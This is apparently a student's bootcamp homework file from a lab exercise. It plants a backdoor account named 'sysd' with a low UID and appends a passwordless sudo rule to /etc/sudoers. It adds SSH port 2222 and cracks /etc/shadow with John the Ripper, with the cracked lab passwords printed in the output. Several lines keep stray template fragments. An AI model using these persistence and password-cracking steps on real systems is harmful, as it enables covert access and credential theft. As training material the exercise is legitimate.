Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:
    - `adduser sysd` `ion command here`
2. Give your secret user a password:
    - `passwd sysd` `ion command here`
3. Give your secret user a system UID < 1000:
    - `usermod -u 69 sysd` `mmand here`
4. Give your secret user the same GID:
    - `groupmod -g 69 sysd` `mmand here`
5. Give your secret user full `sudo` access without the need for a password:
    `visudo` then add `sysd ALL=(ALL) NOPASSWD:ALL`
    - `echo "sysd ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers`
6. Test that `sudo` access works without your password:

```
sudo -lU sysd *U option allows us to check specific USER permissions WITHOUT switching out of root yet
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:
    `nano /etc/ssh/sshd_config`

```
#unhash the #Port22 and add under it Port 2222:
Port 22
Port 2222
```

`ss -tul | grep 2222`

*socket statistics similar to netstat with TCP, UDP, and Listen options

Step 3: Testing Your Configuration Update 1. Restart the SSH service: -

`sudo systemctl restart ssh`

`ifconfig -a` or `ip addr` or `ip a` **to check current IP address

1. Exit the `root` account:
   - `Your solution command here` `exit` then `exit` again
2. SSH to the target machine using your `sysd` account and port `2222` :
   - `ssh sysd@192.168.6.105 -p 2222`
3. Use `sudo` to switch to the root user:
   - `sudo -s`

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222` :
   - `ssh sysd@192.168.6.105 -p 2222`
2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:
   `sudo -s`
   - `john /etc/shadow > scavengerpasswords.txt`

```
root@scavenger-hunt:~# john /etc/shadow > scavengerpasswords.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:19 64% 1/3 0g/s 78.20p/s 78.20c/s 78.20C/s S9999974..99999E
0g 0:00:00:28 82% 1/3 0g/s 77.80p/s 77.80c/s 77.80C/s student99999000..Student0000
0g 0:00:00:50 0% 2/3 0g/s 84.46p/s 84.46c/s 84.46C/s deedee..grizzly
0g 0:00:03:08 10% 2/3 0g/s 102.9p/s 102.9c/s 102.9C/s mattmatt..gardengarden
0g 0:00:09:00 32% 2/3 0g/s 105.2p/s 105.2c/s 105.2C/s venice6..pedro6
1g 0:00:15:20 100% 2/3 0.001086g/s 100.1p/s 100.1c/s 100.1C/s Missy!..Jupiter!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@scavenger-hunt:~# john --show /etc/shadow >> scavengerpasswords.txt
root@scavenger-hunt:~# cat scavengerpasswords.txt
Loaded 9 password hashes with 9 different salts (crypt, generic crypt(3) [?/64])
Remaining 1 password hash
Goodluck!        (student)
sysadmin:passw0rd:18387:0:99999:7:::
student:Goodluck!:18387:0:99999:7:::
mitnik:trustno1:18387:0:99999:7:::
babbage:freedom:18387:0:99999:7:::
lovelace:dragon:18387:0:99999:7:::
stallman:computer:18387:0:99999:7:::
turing:lakers:18387:0:99999:7:::
sysf:sysf:19020:0:99999:7:::
sysd:sysd:19020:0:99999:7:::

9 password hashes cracked, 0 left
root@scavenger-hunt:~#
```